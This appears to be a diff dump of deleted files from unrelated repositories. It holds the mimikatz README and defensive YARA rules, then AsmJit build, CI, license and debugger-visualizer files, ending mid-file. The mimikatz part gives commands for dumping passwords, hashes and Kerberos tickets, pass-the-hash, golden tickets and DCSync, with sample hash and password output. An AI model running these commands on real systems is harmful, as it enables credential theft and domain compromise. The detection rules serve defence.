dns=127.0.0.1
build=100
date=20230501
radio=7号

View File

@ -1,136 +0,0 @@
# mimikatz
**`mimikatz`** is a tool I've made to learn `C` and make somes experiments with Windows security.
It's now well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. **`mimikatz`** can also perform pass-the-hash, pass-the-ticket or build _Golden tickets_.
```
.#####. mimikatz 2.0 alpha (x86) release "Kiwi en C" (Apr 6 2014 22:02:03)
.## ^ ##.
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' https://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 13 modules * * */
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 515764 (00000000:0007deb4)
Session : Interactive from 2
User Name : Gentil Kiwi
Domain : vm-w7-ult-x
SID : S-1-5-21-1982681256-1210654043-1600862990-1000
msv :
[00000003] Primary
* Username : Gentil Kiwi
* Domain : vm-w7-ult-x
* LM : d0e9aee149655a6075e4540af1f22d3b
* NTLM : cc36cf7a8514893efccd332446158b1a
* SHA1 : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
tspkg :
* Username : Gentil Kiwi
* Domain : vm-w7-ult-x
* Password : waza1234/
...
```
But that's not all! `Crypto`, `Terminal Server`, `Events`, ... lots of informations in the GitHub Wiki https://github.com/gentilkiwi/mimikatz/wiki or on https://blog.gentilkiwi.com (in French, _yes_).
If you don't want to build it, binaries are availables on https://github.com/gentilkiwi/mimikatz/releases
## Quick usage
```
log
privilege::debug
```
### sekurlsa
```
sekurlsa::logonpasswords
sekurlsa::tickets /export
sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd
```
### kerberos
```
kerberos::list /export
kerberos::ptt c:\chocolate.kirbi
kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi
```
### crypto
```
crypto::capi
crypto::cng
crypto::certificates /export
crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE
crypto::keys /export
crypto::keys /machine /export
```
### vault & lsadump
```
vault::cred
vault::list
token::elevate
vault::cred
vault::list
lsadump::sam
lsadump::secrets
lsadump::cache
token::revert
lsadump::dcsync /user:domain\krbtgt /domain:lab.local
```
## Build
`mimikatz` is in the form of a Visual Studio Solution and a WinDDK driver (optional for main operations), so prerequisites are:
* for `mimikatz` and `mimilib` : Visual Studio 2010, 2012 or 2013 for Desktop (**2013 Express for Desktop is free and supports x86 & x64** - http://www.microsoft.com/download/details.aspx?id=44914)
* _for `mimikatz driver`, `mimilove` (and `ddk2003` platform) : Windows Driver Kit **7.1** (WinDDK) - http://www.microsoft.com/download/details.aspx?id=11800_
`mimikatz` uses `SVN` for source control, but is now available with `GIT` too!
You can use any tools you want to sync, even incorporated `GIT` in Visual Studio 2013 =)
### Synchronize!
* GIT URL is : https://github.com/gentilkiwi/mimikatz.git
* SVN URL is : https://github.com/gentilkiwi/mimikatz/trunk
* ZIP file is : https://github.com/gentilkiwi/mimikatz/archive/master.zip
### Build the solution
* After opening the solution, `Build` / `Build Solution` (you can change architecture)
* `mimikatz` is now built and ready to be used! (`Win32` / `x64` even `ARM64` if you're lucky)
* you can have error `MSB3073` about `_build_.cmd` and `mimidrv`, it's because the driver cannot be build without Windows Driver Kit **7.1** (WinDDK), but `mimikatz` and `mimilib` are OK.
### ddk2003
With this optional MSBuild platform, you can use the WinDDK build tools, and the default `msvcrt` runtime (smaller binaries, no dependencies)
For this optional platform, Windows Driver Kit **7.1** (WinDDK) - http://www.microsoft.com/download/details.aspx?id=11800 and Visual Studio **2010** are mandatory, even if you plan to use Visual Studio 2012 or 2013 after.
Follow instructions:
* https://blog.gentilkiwi.com/programmation/executables-runtime-defaut-systeme
* _https://blog.gentilkiwi.com/cryptographie/api-systemfunction-windows#winheader_
## Continuous Integration
`mimikatz` project is available on AppVeyor - https://ci.appveyor.com/project/gentilkiwi/mimikatz
Its status is: ![AppVeyor CI status](https://ci.appveyor.com/api/projects/status/github/gentilkiwi/mimikatz?svg=true&retina=true)
## Licence
CC BY 4.0 licence - https://creativecommons.org/licenses/by/4.0/
`mimikatz` needs coffee to be developed:
* PayPal: https://www.paypal.me/delpy/
## Author
* Benjamin DELPY `gentilkiwi`, you can contact me on Twitter ( @gentilkiwi ) or by mail ( benjamin [at] gentilkiwi.com )
* DCSync and DCShadow functions in `lsadump` module were co-writed with Vincent LE TOUX, you can contact him by mail ( vincent.letoux [at] gmail.com ) or visit his website ( http://www.mysmartlogon.com )
This is a **personal** development, please respect its philosophy and don't use it for bad things!

View File

@ -1,104 +0,0 @@
/* Benjamin DELPY `gentilkiwi`
https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
rule mimikatz
{
meta:
description = "mimikatz"
author = "Benjamin DELPY (gentilkiwi)"
tool_author = "Benjamin DELPY (gentilkiwi)"
strings:
$exe_x86_1 = { 89 71 04 89 [0-3] 30 8d 04 bd }
$exe_x86_2 = { 8b 4d e? 8b 45 f4 89 75 e? 89 01 85 ff 74 }
$exe_x64_1 = { 33 ff 4? 89 37 4? 8b f3 45 85 c? 74}
$exe_x64_2 = { 4c 8b df 49 [0-3] c1 e3 04 48 [0-3] 8b cb 4c 03 [0-3] d8 }
$dll_1 = { c7 0? 00 00 01 00 [4-14] c7 0? 01 00 00 00 }
$dll_2 = { c7 0? 10 02 00 00 ?? 89 4? }
$sys_x86 = { a0 00 00 00 24 02 00 00 40 00 00 00 [0-4] b8 00 00 00 6c 02 00 00 40 00 00 00 }
$sys_x64 = { 88 01 00 00 3c 04 00 00 40 00 00 00 [0-4] e8 02 00 00 f8 02 00 00 40 00 00 00 }
condition:
(all of ($exe_x86_*)) or (all of ($exe_x64_*)) or (all of ($dll_*)) or (any of ($sys_*))
}
rule mimikatz_lsass_mdmp
{
meta:
description = "LSASS minidump file for mimikatz"
author = "Benjamin DELPY (gentilkiwi)"
strings:
$lsass = "System32\\lsass.exe" wide nocase
condition:
(uint32(0) == 0x504d444d) and $lsass
}
rule mimikatz_kirbi_ticket
{
meta:
description = "KiRBi ticket for mimikatz"
author = "Benjamin DELPY (gentilkiwi)"
strings:
$asn1 = { 76 82 ?? ?? 30 82 ?? ?? a0 03 02 01 05 a1 03 02 01 16 }
condition:
$asn1 at 0
}
rule wce
{
meta:
description = "wce"
author = "Benjamin DELPY (gentilkiwi)"
tool_author = "Hernan Ochoa (hernano)"
strings:
$hex_legacy = { 8b ff 55 8b ec 6a 00 ff 75 0c ff 75 08 e8 [0-3] 5d c2 08 00 }
$hex_x86 = { 8d 45 f0 50 8d 45 f8 50 8d 45 e8 50 6a 00 8d 45 fc 50 [0-8] 50 72 69 6d 61 72 79 00 }
$hex_x64 = { ff f3 48 83 ec 30 48 8b d9 48 8d 15 [0-16] 50 72 69 6d 61 72 79 00 }
condition:
any of them
}
rule lsadump
{
meta:
description = "LSA dump programe (bootkey/syskey) - pwdump and others"
author = "Benjamin DELPY (gentilkiwi)"
strings:
$str_sam_inc = "\\Domains\\Account" ascii nocase
$str_sam_exc = "\\Domains\\Account\\Users\\Names\\" ascii nocase
$hex_api_call = {(41 b8 | 68) 00 00 00 02 [0-64] (68 | ba) ff 07 0f 00 }
$str_msv_lsa = { 4c 53 41 53 52 56 2e 44 4c 4c 00 [0-32] 6d 73 76 31 5f 30 2e 64 6c 6c 00 }
$hex_bkey = { 4b 53 53 4d [20-70] 05 00 01 00}
condition:
($str_sam_inc and not $str_sam_exc) or $hex_api_call or $str_msv_lsa or $hex_bkey
}
rule power_pe_injection
{
meta:
description = "PowerShell with PE Reflective Injection"
author = "Benjamin DELPY (gentilkiwi)"
strings:
$str_loadlib = "0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9"
condition:
$str_loadlib
}

View File

@ -1,10 +0,0 @@
# Editor configuration, see https://editorconfig.org for more details.
root = true
[*.{cpp,h,natvis}]
charset = utf-8
end_of_line = lf
indent_style = space
indent_size = 2
insert_final_newline = true
trim_trailing_whitespace = true

View File

@ -1 +0,0 @@
github: kobalicek

View File

@ -1,47 +0,0 @@
{
"diagnostics": {
"asan": { "definitions": ["ASMJIT_SANITIZE=address"] },
"ubsan": { "definitions": ["ASMJIT_SANITIZE=undefined"] }
},
"valgrind_arguments": [
"--leak-check=full",
"--show-reachable=yes",
"--track-origins=yes"
],
"tests": [
{
"cmd": ["asmjit_test_unit", "--quick"],
"optional": true
},
{
"cmd": ["asmjit_test_assembler", "--quiet"],
"optional": true
},
{
"cmd": ["asmjit_test_assembler", "--quiet", "--validate"],
"optional": true
},
{
"cmd": ["asmjit_test_emitters"],
"optional": true
},
{
"cmd": ["asmjit_test_compiler"],
"optional": true
},
{
"cmd": ["asmjit_test_instinfo"],
"optional": true
},
{
"cmd": ["asmjit_test_x86_sections"],
"optional": true
},
{
"cmd": ["asmjit_test_perf", "--quick"],
"optional": true
}
]
}

View File

@ -1,156 +0,0 @@
name: "Build"
on:
push:
pull_request:
defaults:
run:
shell: bash
jobs:
source-check:
name: "source check"
runs-on: ubuntu-latest
steps:
- name: "Checkout"
uses: actions/checkout@v2
- name: "Setup node.js"
uses: actions/setup-node@v1
with:
node-version: "14"
- name: "Check Enumerations"
run: |
cd tools
node enumgen.js --verify
build:
strategy:
fail-fast: false
matrix:
include:
- { title: "linux-lib" , os: "ubuntu-latest" , cc: "clang" , arch: "x64", build_type: "Release", problem_matcher: "cpp" }
- { title: "windows-lib" , os: "windows-2022" , cc: "vs2022" , arch: "x86", build_type: "Debug" , problem_matcher: "cpp" }
- { title: "diag-asan" , os: "ubuntu-latest" , cc: "clang" , arch: "x64", build_type: "Release", defs: "ASMJIT_TEST=ON", diagnostics: "address" }
- { title: "diag-ubsan" , os: "ubuntu-latest" , cc: "clang" , arch: "x64", build_type: "Release", defs: "ASMJIT_TEST=ON", diagnostics: "undefined" }
- { title: "diag-valgrind" , os: "ubuntu-latest" , cc: "clang" , arch: "x64", build_type: "Release", defs: "ASMJIT_TEST=ON", diagnostics: "valgrind" }
- { title: "diag-scan-build", os: "ubuntu-latest" , cc: "clang" , arch: "x64", build_type: "Debug" , diagnostics: "scan-build" }
- { title: "no-deprecated" , os: "ubuntu-latest" , cc: "clang" , arch: "x64", build_type: "Release", defs: "ASMJIT_TEST=ON,ASMJIT_NO_DEPRECATED=1" }
- { title: "no-intrinsics" , os: "ubuntu-latest" , cc: "clang" , arch: "x64", build_type: "Release", defs: "ASMJIT_TEST=ON,ASMJIT_NO_INTRINSICS=1" }
- { title: "no-logging" , os: "ubuntu-latest" , cc: "clang" , arch: "x64", build_type: "Release", defs: "ASMJIT_TEST=ON,ASMJIT_NO_LOGGING=1" }
- { title: "no-builder" , os: "ubuntu-latest" , cc: "clang" , arch: "x64", build_type: "Release", defs: "ASMJIT_TEST=ON,ASMJIT_NO_BUILDER=1" }
- { title: "no-compiler" , os: "ubuntu-latest" , cc: "clang" , arch: "x64", build_type: "Release", defs: "ASMJIT_TEST=ON,ASMJIT_NO_COMPILER=1" }
- { title: "linux" , os: "ubuntu-latest" , cc: "gcc" , arch: "x86", build_type: "Debug" , defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-latest" , cc: "gcc" , arch: "x86", build_type: "Release", defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-latest" , cc: "gcc" , arch: "x64", build_type: "Debug" , defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-latest" , cc: "gcc" , arch: "x64", build_type: "Release", defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-18.04" , cc: "gcc-4.8" , arch: "x86", build_type: "Debug" , defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-18.04" , cc: "gcc-4.8" , arch: "x86", build_type: "Release", defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-18.04" , cc: "gcc-4.8" , arch: "x64", build_type: "Debug" , defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-18.04" , cc: "gcc-4.8" , arch: "x64", build_type: "Release", defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-18.04" , cc: "gcc-5" , arch: "x86", build_type: "Debug" , defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-18.04" , cc: "gcc-5" , arch: "x64", build_type: "Debug" , defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-18.04" , cc: "gcc-6" , arch: "x86", build_type: "Debug" , defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-18.04" , cc: "gcc-6" , arch: "x64", build_type: "Debug" , defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-20.04" , cc: "gcc-7" , arch: "x86", build_type: "Debug" , defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-20.04" , cc: "gcc-7" , arch: "x64", build_type: "Debug" , defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-20.04" , cc: "gcc-8" , arch: "x86", build_type: "Debug" , defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-20.04" , cc: "gcc-8" , arch: "x64", build_type: "Debug" , defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-20.04" , cc: "gcc-9" , arch: "x86", build_type: "Debug" , defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-20.04" , cc: "gcc-9" , arch: "x64", build_type: "Debug" , defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-20.04" , cc: "gcc-10" , arch: "x86", build_type: "Debug" , defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-20.04" , cc: "gcc-10" , arch: "x86", build_type: "Release", defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-20.04" , cc: "gcc-10" , arch: "x64", build_type: "Debug" , defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-20.04" , cc: "gcc-10" , arch: "x64", build_type: "Release", defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-20.04" , cc: "gcc-11" , arch: "x86", build_type: "Debug" , defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-20.04" , cc: "gcc-11" , arch: "x86", build_type: "Release", defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-20.04" , cc: "gcc-11" , arch: "x64", build_type: "Debug" , defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-20.04" , cc: "gcc-11" , arch: "x64", build_type: "Release", defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-latest" , cc: "clang" , arch: "x86", build_type: "Debug" , defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-latest" , cc: "clang" , arch: "x86", build_type: "Release", defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-latest" , cc: "clang" , arch: "x64", build_type: "Debug" , defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-latest" , cc: "clang" , arch: "x64", build_type: "Release", defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-20.04" , cc: "clang-9" , arch: "x86", build_type: "Debug" , defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-20.04" , cc: "clang-9" , arch: "x86", build_type: "Release", defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-20.04" , cc: "clang-9" , arch: "x64", build_type: "Debug" , defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-20.04" , cc: "clang-9" , arch: "x64", build_type: "Release", defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-20.04" , cc: "clang-10", arch: "x86", build_type: "Debug" , defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-20.04" , cc: "clang-10", arch: "x86", build_type: "Release", defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-20.04" , cc: "clang-10", arch: "x64", build_type: "Debug" , defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-20.04" , cc: "clang-10", arch: "x64", build_type: "Release", defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-20.04" , cc: "clang-11", arch: "x86", build_type: "Debug" , defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-20.04" , cc: "clang-11", arch: "x86", build_type: "Release", defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-20.04" , cc: "clang-11", arch: "x64", build_type: "Debug" , defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-20.04" , cc: "clang-11", arch: "x64", build_type: "Release", defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-20.04" , cc: "clang-12", arch: "x86", build_type: "Debug" , defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-20.04" , cc: "clang-12", arch: "x86", build_type: "Release", defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-20.04" , cc: "clang-12", arch: "x64", build_type: "Debug" , defs: "ASMJIT_TEST=ON" }
- { title: "linux" , os: "ubuntu-20.04" , cc: "clang-12", arch: "x64", build_type: "Release", defs: "ASMJIT_TEST=ON" }
- { title: "macos-10.15" , os: "macos-10.15" , cc: "gcc-9" , arch: "x64", build_type: "Debug" , defs: "ASMJIT_TEST=ON" }
- { title: "macos-10.15" , os: "macos-10.15" , cc: "gcc-9" , arch: "x64", build_type: "Release", defs: "ASMJIT_TEST=ON" }
- { title: "macos-10.15" , os: "macos-10.15" , cc: "clang" , arch: "x64", build_type: "Debug" , defs: "ASMJIT_TEST=ON" }
- { title: "macos-10.15" , os: "macos-10.15" , cc: "clang" , arch: "x64", build_type: "Release", defs: "ASMJIT_TEST=ON" }
# Disabled, because of GitHub actions infrastructure issues (builds not starting).
#- { title: "macos-11.0" , os: "macos-11.0" , cc: "gcc-10" , arch: "x64", build_type: "Debug" , defs: "ASMJIT_TEST=ON" }
#- { title: "macos-11.0" , os: "macos-11.0" , cc: "gcc-10" , arch: "x64", build_type: "Release", defs: "ASMJIT_TEST=ON" }
#- { title: "macos-11.0" , os: "macos-11.0" , cc: "clang" , arch: "x64", build_type: "Debug" , defs: "ASMJIT_TEST=ON" }
#- { title: "macos-11.0" , os: "macos-11.0" , cc: "clang" , arch: "x64", build_type: "Release", defs: "ASMJIT_TEST=ON" }
- { title: "windows" , os: "windows-2019" , cc: "vs2019" , arch: "x86", build_type: "Debug" , defs: "ASMJIT_TEST=ON" }
- { title: "windows" , os: "windows-2019" , cc: "vs2019" , arch: "x86", build_type: "Release", defs: "ASMJIT_TEST=ON" }
- { title: "windows" , os: "windows-2019" , cc: "vs2019" , arch: "x64", build_type: "Debug" , defs: "ASMJIT_TEST=ON" }
- { title: "windows" , os: "windows-2019" , cc: "vs2019" , arch: "x64", build_type: "Release", defs: "ASMJIT_TEST=ON" }
- { title: "windows" , os: "windows-2022" , cc: "vs2022" , arch: "x86", build_type: "Debug" , defs: "ASMJIT_TEST=ON" }
- { title: "windows" , os: "windows-2022" , cc: "vs2022" , arch: "x86", build_type: "Release", defs: "ASMJIT_TEST=ON" }
- { title: "windows" , os: "windows-2022" , cc: "vs2022" , arch: "x64", build_type: "Debug" , defs: "ASMJIT_TEST=ON" }
- { title: "windows" , os: "windows-2022" , cc: "vs2022" , arch: "x64", build_type: "Release", defs: "ASMJIT_TEST=ON" }
name: "${{matrix.title}} (${{matrix.cc}}, ${{matrix.arch}}, ${{matrix.build_type}})"
runs-on: "${{matrix.os}}"
steps:
- name: "Checkout"
uses: actions/checkout@v2
with:
path: "source"
- name: "Checkout build-actions"
run: git clone https://github.com/build-actions/build-actions.git build-actions --depth=1
- name: "Python"
uses: actions/setup-python@v2
with:
python-version: "3.x"
- name: "Prepare"
run: python build-actions/action.py
--step=prepare
--compiler=${{matrix.cc}}
--diagnostics=${{matrix.diagnostics}}
--architecture=${{matrix.arch}}
- name: "Configure"
run: python build-actions/action.py
--step=configure
--config=source/.github/workflows/build-config.json
--source-dir=source
--compiler=${{matrix.cc}}
--diagnostics=${{matrix.diagnostics}}
--architecture=${{matrix.arch}}
--build-type=${{matrix.build_type}}
--build-defs=${{matrix.defs}}
--problem-matcher=${{matrix.problem_matcher}}
- name: "Build"
run: python build-actions/action.py --step=build
- name: "Test"
run: python build-actions/action.py --step=test

View File

@ -1,6 +0,0 @@
/build
/build_*
/tools/asmdb
.vscode
.kdev4
*.kdev4

View File

@ -1,17 +0,0 @@
Copyright (c) 2008-2020 The AsmJit Authors
This software is provided 'as-is', without any express or implied
warranty. In no event will the authors be held liable for any damages
arising from the use of this software.
Permission is granted to anyone to use this software for any purpose,
including commercial applications, and to alter it and redistribute it
freely, subject to the following restrictions:
1. The origin of this software must not be misrepresented; you must not
claim that you wrote the original software. If you use this software
in a product, an acknowledgment in the product documentation would be
appreciated but is not required.
2. Altered source versions must be plainly marked as such, and must not be
misrepresented as being the original software.
3. This notice may not be removed or altered from any source distribution.

View File

@ -1,69 +0,0 @@
AsmJit
------
AsmJit is a lightweight library for machine code generation written in C++ language.
* [Official Home Page (asmjit.com)](https://asmjit.com)
* [Official Repository (asmjit/asmjit)](https://github.com/asmjit/asmjit)
* [Public Chat Channel](https://gitter.im/asmjit/asmjit)
* [Zlib License](./LICENSE.md)
See [asmjit.com](https://asmjit.com) page for more details, examples, and documentation.
Documentation
-------------
* [Documentation Index](https://asmjit.com/doc/index.html)
* [Build Instructions](https://asmjit.com/doc/group__asmjit__build.html)
Breaking Changes
----------------
Breaking the API is sometimes inevitable, what to do?
* See [Breaking Changes Guide](https://asmjit.com/doc/group__asmjit__breaking__changes.html), which is now part of AsmJit documentation.
* See asmjit tests, they always compile and provide implementation of many use-cases:
* [asmjit_test_emitters.cpp](./test/asmjit_test_emitters.cpp) - Tests that demonstrate the purpose of emitters.
* [asmjit_test_assembler_x86.cpp](./test/asmjit_test_assembler_x86.cpp) - Tests targeting AsmJit's Assembler (x86/x64).
* [asmjit_test_compiler_x86.cpp](./test/asmjit_test_compiler_x86.cpp) - Tests targeting AsmJit's Compiler (x86/x64).
* [asmjit_test_instinfo.cpp](./test/asmjit_test_instinfo.cpp) - Tests that query instruction information.
* [asmjit_test_x86_sections.cpp](./test/asmjit_test_x86_sections.cpp) - Multiple sections test.
* Visit our [Official Chat](https://gitter.im/asmjit/asmjit) if you need a quick help.
Project Organization
--------------------
* **`/`** - Project root.
* **src** - Source code.
* **asmjit** - Source code and headers (always point include path in here).
* **core** - Core API, backend independent except relocations.
* **arm** - ARM specific API, used only by ARM and AArch64 backends.
* **x86** - X86 specific API, used only by X86 and X64 backends.
* **test** - Unit and integration tests (don't embed in your project).
* **tools** - Tools used for configuring, documenting, and generating files.
TODO
----
* [ ] Core:
* [ ] Add support for user external buffers in CodeBuffer / CodeHolder.
* [ ] Ports:
* [ ] 32-bit ARM/Thumb port.
* [ ] 64-bit ARM (AArch64) port.
* [ ] RISC-V port.
Support
-------
* AsmJit project has both community and commercial support, see [AsmJit's Support Page](https://asmjit.com/support.html)
* You can help the development and maintenance through Petr Kobalicek's [GitHub sponsors Profile](https://github.com/sponsors/kobalicek)
Notable Donors List:
* [ZehMatt](https://github.com/ZehMatt)
Authors & Maintainers
---------------------
* Petr Kobalicek <kobalicek.petr@gmail.com>

View File

@ -1,245 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<!-- asmjit visualizer for Visual Studio (natvis) -->
<AutoVisualizer xmlns="http://schemas.microsoft.com/vstudio/debugger/natvis/2010">
<Type Name="asmjit::String">
<Intrinsic Name="isSmall" Expression="(_type &lt; 0x1F)"/>
<DisplayString Condition="isSmall()">{_small.data, s8}</DisplayString>
<DisplayString Condition="!isSmall()">{_large.data, s8}</DisplayString>
<Expand HideRawView="true">
<Synthetic Name="_type">
<DisplayString Condition="(_type &lt; 0x1F)">Small</DisplayString>
<DisplayString Condition="(_type == 0x1F)">Large</DisplayString>
<DisplayString Condition="(_type &gt; 0x1F)">External</DisplayString>
</Synthetic>
<Item Name="_size" Condition="isSmall()" ExcludeView="simple">(int)_small.type, d</Item>
<Item Name="_size" Condition="!isSmall()" ExcludeView="simple">_large.size, d</Item>
<Item Name="_capacity" Condition="isSmall()" ExcludeView="simple">asmjit::String::kSSOCapacity, d</Item>
<Item Name="_capacity" Condition="!isSmall()" ExcludeView="simple">_large.capacity, d</Item>
<Item Name="_data" Condition="isSmall()" ExcludeView="simple">_small.data, s8</Item>
<Item Name="_data" Condition="!isSmall()" ExcludeView="simple">_large.data, s8</Item>
</Expand>
</Type>
<Type Name="asmjit::ZoneVector&lt;*&gt;">
<DisplayString>{{ [size={_size, d} capacity={_capacity, d}] }}</DisplayString>
<Expand>
<Item Name="_size" ExcludeView="simple">_size, d</Item>
<Item Name="_capacity" ExcludeView="simple">_capacity, d</Item>
<ArrayItems>
<Size>_size</Size>
<ValuePointer>(($T1*)_data)</ValuePointer>
</ArrayItems>
</Expand>
</Type>
<Type Name="asmjit::OperandSignature">
<Intrinsic Name="opType" Expression="(asmjit::OperandType)(_bits &amp; 0x7)" />
<Intrinsic Name="opSize" Expression="(_bits &gt;&gt; 24) &amp; 0xFF" />
<Intrinsic Name="regType" Expression="(asmjit::RegType)((_bits &gt;&gt; 3) &amp; 0x1F)" />
<Intrinsic Name="regGroup" Expression="(asmjit::RegGroup)((_bits &gt;&gt; 8) &amp; 0xF)" />
<Intrinsic Name="memBaseType" Expression="(asmjit::RegType)((_bits &gt;&gt; 3) &amp; 0x1F)" />
<Intrinsic Name="memIndexType" Expression="(asmjit::RegType)((_bits &gt;&gt; 8) &amp; 0x1F)" />
<Intrinsic Name="memRegHome" Expression="(bool)((_bits &gt;&gt; 13) &amp; 0x1)" />
<Intrinsic Name="memX86Segment" Expression="(asmjit::x86::SReg::Id)((_bits &gt;&gt; 18) &amp; 0x7)" />
<Intrinsic Name="memX86AddrType" Expression="(asmjit::x86::Mem::AddrType)((_bits &gt;&gt; 14) &amp; 0x3)" />
<Intrinsic Name="memX86ShiftValue" Expression="((_bits &gt;&gt; 16) &amp; 0x3)" />
<Intrinsic Name="memX86Broadcast" Expression="(asmjit::x86::Mem::Broadcast)((_bits &gt;&gt; 21) &amp; 0x7)" />
<Intrinsic Name="immType" Expression="(asmjit::ImmType)((_bits &gt;&gt; 3) &amp; 0x1)" />
<DisplayString Condition="opType() == asmjit::OperandType::kNone">[None]</DisplayString>
<DisplayString Condition="opType() == asmjit::OperandType::kReg">[Reg] {{ type={regType()} group={regGroup()} size={opSize(), d} }}</DisplayString>
<DisplayString Condition="opType() == asmjit::OperandType::kMem">[Mem] {{ base={memBaseType()} index={memIndexType()} }}</DisplayString>
<DisplayString Condition="opType() == asmjit::OperandType::kImm">[Imm] {{ type={immType()} }}</DisplayString>
<DisplayString Condition="opType() == asmjit::OperandType::kLabel">[Label]</DisplayString>
<DisplayString Condition="opType() &gt; asmjit::OperandType::kMaxValue">[Unknown]</DisplayString>
<Expand HideRawView="true">
<Item Name="bits">_bits, X</Item>
<Item Name="op.type">opType()</Item>
<Item Name="reg.type" Condition="opType() == asmjit::OperandType::kReg">regType()</Item>
<Item Name="reg.group" Condition="opType() == asmjit::OperandType::kReg">regGroup()</Item>
<Item Name="reg.size" Condition="opType() == asmjit::OperandType::kReg">opSize(), d</Item>
<Item Name="mem.baseType" Condition="opType() == asmjit::OperandType::kMem">memBaseType()</Item>
<Item Name="mem.indexType" Condition="opType() == asmjit::OperandType::kMem">memIndexType()</Item>
<Item Name="mem.regHome" Condition="opType() == asmjit::OperandType::kMem">memRegHome()</Item>
<Item Name="mem.size" Condition="opType() == asmjit::OperandType::kMem">opSize(), d</Item>
<Item Name="mem.x86.segment" Condition="opType() == asmjit::OperandType::kMem">memX86Segment()</Item>
<Item Name="mem.x86.addrType" Condition="opType() == asmjit::OperandType::kMem">memX86AddrType()</Item>
<Item Name="mem.x86.shift" Condition="opType() == asmjit::OperandType::kMem">memX86ShiftValue()</Item>
<Item Name="mem.x86.broadcast" Condition="opType() == asmjit::OperandType::kMem">memX86Broadcast()</Item>
<Item Name="imm.type" Condition="opType() == asmjit::OperandType::kImm">immType()</Item>
</Expand>
</Type>
<Type Name="asmjit::Operand_">
<Intrinsic Name="opType" Expression="(asmjit::OperandType)(_signature._bits &amp; 0x7)" />
<Intrinsic Name="opSize" Expression="(_signature._bits &gt;&gt; 24) &amp; 0xFF" />
<Intrinsic Name="regType" Expression="(asmjit::RegType)((_signature._bits &gt;&gt; 3) &amp; 0x1F)" />
<Intrinsic Name="regGroup" Expression="(asmjit::RegGroup)((_signature._bits &gt;&gt; 8) &amp; 0xF)" />
<Intrinsic Name="memBaseType" Expression="(asmjit::RegType)((_signature._bits &gt;&gt; 3) &amp; 0x1F)" />
<Intrinsic Name="memIndexType" Expression="(asmjit::RegType)((_signature._bits &gt;&gt; 8) &amp; 0x1F)" />
<Intrinsic Name="memRegHome" Expression="(bool)((_signature._bits &gt;&gt; 13) &amp; 0x1)" />
<Intrinsic Name="memX86Segment" Expression="(asmjit::x86::SReg::Id)((_signature._bits &gt;&gt; 18) &amp; 0x7)" />
<Intrinsic Name="memX86AddrType" Expression="(asmjit::x86::Mem::AddrType)((_signature._bits &gt;&gt; 14) &amp; 0x3)" />
